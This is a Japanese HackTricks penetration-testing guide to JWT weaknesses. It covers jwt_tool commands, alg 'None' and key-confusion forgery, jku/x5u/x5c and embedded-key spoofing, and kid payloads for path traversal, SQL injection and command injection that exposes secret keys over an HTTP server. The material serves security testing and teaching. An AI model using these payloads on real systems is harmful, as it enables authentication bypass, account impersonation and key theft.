21 KiB
JWTの脆弱性(Json Web Tokens)
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksグッズを入手する
- The PEASS Familyを発見し、当社の独占的なNFTsコレクションをご覧ください
- 💬 Discordグループに参加またはtelegramグループに参加またはTwitter 🐦 @carlospolopmをフォローしてください。
- ハッキングトリックを共有するには、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。
ハッキングキャリアに興味がある方や、解読不能なものをハックしたい方 - 採用中です!(流暢なポーランド語の読み書きが必要です)。
{% embed url="https://www.stmcyber.com/careers" %}
この投稿の一部は素晴らしい投稿に基づいています: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWTをペンテストするための素晴らしいツールの作者 https://github.com/ticarpi/jwt_tool
クイックウィン
jwt_toolをAll Tests!
モードで実行し、緑色の行を待ちます
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
もし幸運なら、ツールがWebアプリケーションがJWTを正しくチェックしていないケースを見つけるかもしれません:
その後、そのリクエストをプロキシで検索するか、jwt_ toolを使用してそのリクエストで使用されたJWTをダンプできます:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
データを変更せずにデータを改ざんする
署名をそのままにデータを改ざんし、サーバーが署名を確認しているかどうかを確認できます。例えば、ユーザー名を "admin" に変更してみてください。
トークンがチェックされていますか?
JWTの署名が検証されているかどうかを確認するには:
- エラーメッセージが検証中を示唆している場合は、詳細なエラーに機密情報が含まれているか確認する必要があります。
- 返されるページの変化も検証を示します。
- 変化がない場合は検証が行われていないことを示し、この場合はペイロードのクレームを改ざんして実験するタイミングです。
オリジン
トークンがサーバーサイドで生成されたかクライアントサイドで生成されたかを確認することが重要で、プロキシのリクエスト履歴を調べます。
- クライアントサイドから最初に表示されたトークンは、鍵がクライアントサイドのコードに露出している可能性があり、さらなる調査が必要です。
- サーバーサイドで生成されたトークンはセキュアなプロセスを示します。
期間
トークンが24時間以上続くかどうかを確認してください... 永久に有効かもしれません。 "exp" フィールドがある場合は、サーバーがそれを正しく処理しているかどうかを確認してください。
HMACシークレットの総当たり攻撃
アルゴリズムをNoneに変更する
使用されるアルゴリズムを "None" に設定し、署名部分を削除します。
この脆弱性を試すためにBurp拡張機能 "JSON Web Token" を使用し、JWT内の異なる値を変更します(リクエストをリピーターに送信し、"JSON Web Token" タブでトークンの値を変更できます。また、"Alg" フィールドの値を "None" に設定することもできます)。
アルゴリズムをRS256(非対称)からHS256(対称)に変更する(CVE-2016-5431/CVE-2016-10555)
アルゴリズムHS256は、各メッセージを署名および検証するために秘密鍵を使用します。
アルゴリズムRS256は、メッセージに署名するために秘密鍵を使用し、認証には公開鍵を使用します。
アルゴリズムをRS256からHS256に変更すると、バックエンドコードは公開鍵を秘密鍵として使用し、その後HS256アルゴリズムを使用して署名を検証します。
その後、公開鍵を使用してRS256をHS256に変更することで、有効な署名を作成できます。これを実行しているWebサーバーの証明書を取得できます。
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
ヘッダー内の新しい公開鍵
攻撃者は、トークンのヘッダーに新しいキーを埋め込み、サーバーがこの新しいキーを使用して署名を検証する(CVE-2018-0114)。
これは、「JSON Web Tokens」Burp拡張機能を使用して行うことができます。
(リクエストをRepeaterに送信し、JSON Web Tokenタブで「CVE-2018-0114」を選択してリクエストを送信します)。
JWKSスプーフィング
手順には、JWTトークンのセキュリティを評価する方法が詳細に記載されており、特に「jku」ヘッダークレームを使用しているトークンに焦点が当てられています。このクレームは、トークンの検証に必要な公開鍵が含まれているJSON Web Key Set(JWKS)ファイルにリンクする必要があります。
- 「jku」ヘッダーを持つトークンの評価:
- "jku"クレームのURLを検証して、適切なJWKSファイルにリンクしていることを確認します。
- トークンの「jku」の値を変更して、監視可能なトラフィックを許可する制御されたWebサービスに向ける。
- HTTPインタラクションの監視:
- 指定したURLへのHTTPリクエストを観察することで、サーバーが提供されたリンクからキーを取得しようとすることが示されます。
- このプロセスで
jwt_tool
を使用する場合、テストを容易にするためにjwtconf.ini
ファイルを個人のJWKSの場所に更新することが重要です。 jwt_tool
のコマンド:- 次のコマンドを実行して、
jwt_tool
を使用してシナリオをシミュレートします:
python3 jwt_tool.py JWT_HERE -X s
Kidの問題の概要
kid
として知られるオプションのヘッダークレームは、特定のキーを識別するために使用され、特にトークン署名の検証のために複数のキーが存在する環境で重要となります。このクレームは、トークンの署名を検証するための適切なキーを選択するのに役立ちます。
"kid"を通じてキーを明らかにする
kid
クレームがヘッダーに存在する場合、対応するファイルまたはそのバリエーションをWebディレクトリで検索することが推奨されます。たとえば、"kid":"key/12345"
が指定されている場合、Webルート内のファイル /key/12345 および /key/12345.pem を検索する必要があります。
"kid"を使用したパス遍歴
kid
クレームは、ファイルシステムを移動するために悪用される可能性があり、任意のファイルを選択することができるようになります。kid
の値を変更して特定のファイルやサービスをターゲットにすることで、接続性をテストしたり、サーバーサイドリクエストフォージェリ(SSRF)攻撃を実行したりすることが可能です。kid
の値を変更して元の署名を保持しながらJWTを改ざんするには、jwt_toolの-T
フラグを使用します。以下に示すように:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
ファイルの内容が予測可能なものを標的にすることで、有効なJWTを偽装することが可能です。たとえば、Linuxシステムの /proc/sys/kernel/randomize_va_space
ファイルは値 2 を含むことが知られており、JWT生成の対称パスワードとして kid
パラメータで 2 を使用できます。
"kid" を通じたSQLインジェクション
kid
クレームの内容がデータベースからパスワードを取得するために使用される場合、kid
ペイロードを変更することでSQLインジェクションが容易になります。JWT署名プロセスを変更するためにSQLインジェクションを使用する例のペイロードは次のとおりです:
non-existent-index' UNION SELECT 'ATTACKER';-- -
この変更により、JWT署名に既知の秘密キー ATTACKER
が使用されるようになります。
"kid" を通じたOSインジェクション
kid
パラメータがコマンド実行コンテキスト内で使用されるファイルパスを指定するシナリオでは、リモートコード実行(RCE)の脆弱性が発生する可能性があります。kid
パラメータにコマンドをインジェクトすることで、秘密キーを公開することが可能です。RCEとキーの公開を達成するための例のペイロードは次のとおりです:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u と jku
jku
jku は JWK Set URL の略です。
トークンが "jku" Header クレームを使用している場合は、提供されたURLを確認してください。これは、トークンを検証するための公開鍵を保持するJWKSファイルが含まれるURLを指すはずです。トークンを改ざんして、jkuの値をトラフィックを監視できるWebサービスを指すように変更します。
まず、新しい証明書と新しい秘密鍵・公開鍵を作成する必要があります。
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
その後、たとえばjwt.ioを使用して、作成された公開鍵と秘密鍵を使用して新しいJWTを作成し、パラメータjkuを作成された証明書に指定します。 有効なjku証明書を作成するには、元の証明書をダウンロードして必要なパラメータを変更できます。
公開証明書からパラメータ"e"と"n"を取得できます。
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL。PEM形式でエンコードされたX.509(証明書形式の標準)公開証明書のセットを指すURI。セット内の最初の証明書は、このJWTに署名するために使用されるものでなければなりません。後続の証明書は、前の証明書に署名し、これにより証明書チェーンが完成します。X.509はRFC 52807で定義されています。証明書を転送するにはトランスポートセキュリティが必要です。
このヘッダーを自分のコントロール下のURLに変更して、リクエストが受信されるかどうかを確認してください。その場合、JWTを改ざんすることができます。
自分がコントロールする証明書を使用して新しいトークンを偽造するには、証明書を作成し、公開鍵と秘密鍵を抽出する必要があります。
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
その後、例えばjwt.ioを使用して、作成された公開鍵と秘密鍵を使用し、パラメータx5uを作成された.crt証明書に指定して新しいJWTを作成できます。
これらの脆弱性をSSRFに悪用することもできます。
x5c
このパラメータには、Base64形式の証明書が含まれる場合があります:
攻撃者が自己署名証明書を生成し、対応する秘密鍵を使用して偽造トークンを作成し、"x5c"パラメータの値を新しく生成された証明書に置き換え、他のパラメータ(n、e、x5t)を変更すると、基本的に偽造トークンはサーバーによって受け入れられるようになります。
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
埋め込まれた公開鍵(CVE-2018-0114)
JWT に次のシナリオのように公開鍵が埋め込まれている場合:
次の nodejs スクリプトを使用すると、そのデータから公開鍵を生成することが可能です:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
新しい秘密鍵/公開鍵を生成し、新しい公開鍵をトークン内に埋め込んで新しい署名を生成することが可能です:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
このNode.jsスクリプトを使用して、「n」と「e」を取得できます:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
ES256: 同じノンスを使用して秘密鍵を明らかにする
いくつかのアプリケーションがES256を使用し、同じノンスを使用して2つのJWTを生成する場合、秘密鍵を復元できます。
こちらは例です: ECDSA: 同じノンスを使用して秘密鍵を明らかにする(SECP256k1を使用)
JTI(JWT ID)
JTI(JWT ID)クレームはJWTトークンの一意の識別子を提供します。トークンが再生されるのを防ぐために使用できます。
ただし、IDの最大長が4(0001-9999)である状況を想像してみてください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDを増やしている場合、これを悪用してリクエストを再生することができます(成功した再生ごとに10000リクエストを送信する必要があります)。
JWT登録済みクレーム
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
その他の攻撃
クロスサービスリレーアタック
一部のWebアプリケーションがトークンの生成と管理に信頼されたJWTサービスを利用していることが観察されています。JWTサービスによって1つのクライアント向けに生成されたトークンが、同じJWTサービスの別のクライアントによって受け入れられた事例が記録されています。第三者サービスを介したJWTの発行や更新が観察された場合、同じユーザー名/メールアドレスを使用してそのサービスの別のクライアントにアカウント登録する可能性が調査されるべきです。その後、取得したトークンをターゲットにリクエストして受け入れられるかどうかを確認するための試みを行うべきです。
- トークンが受け入れられることで、任意のユーザーアカウントのスプーフィングが可能になる可能性が示唆される重大な問題があるかもしれません。ただし、第三者アプリケーションにサインアップする場合、広範なテストの許可が必要になる可能性があることに注意する必要があります。
トークンの有効期限チェック
トークンの有効期限は「exp」ペイロードクレームを使用してチェックされます。JWTがセッション情報なしで頻繁に使用されるため、慎重な処理が必要です。他のユーザーのJWTをキャプチャして再生することで、そのユーザーをなりすますことができる場合があります。JWT RFCは、JWTの再生攻撃を緩和するために「exp」クレームを使用してトークンの有効期限を設定することを推奨しています。さらに、アプリケーションによる関連するチェックの実装は、この値の処理と期限切れトークンの拒否を確実にするために重要です。トークンに「exp」クレームが含まれている場合、テスト時間の制限が許す限り、トークンを保存して有効期限が切れた後に再生することが推奨されます。トークンの内容、タイムスタンプの解析、および有効期限チェック(UTCのタイムスタンプ)は、jwt_toolの-Rフラグを使用して読むことができます。
- アプリケーションがトークンをまだ検証している場合、トークンが決して期限切れにならない可能性があることを示す可能性があります。
ツール
{% embed url="https://github.com/ticarpi/jwt_tool" %}
ハッキングキャリアに興味がある方や、解読不能なものをハックしたい方 - 採用中です!(流暢なポーランド語の読み書きが必要です)。
{% embed url="https://www.stmcyber.com/careers" %}
**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい場合や、HackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを手に入れる
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つける
- 💬 Discordグループやtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする
- HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する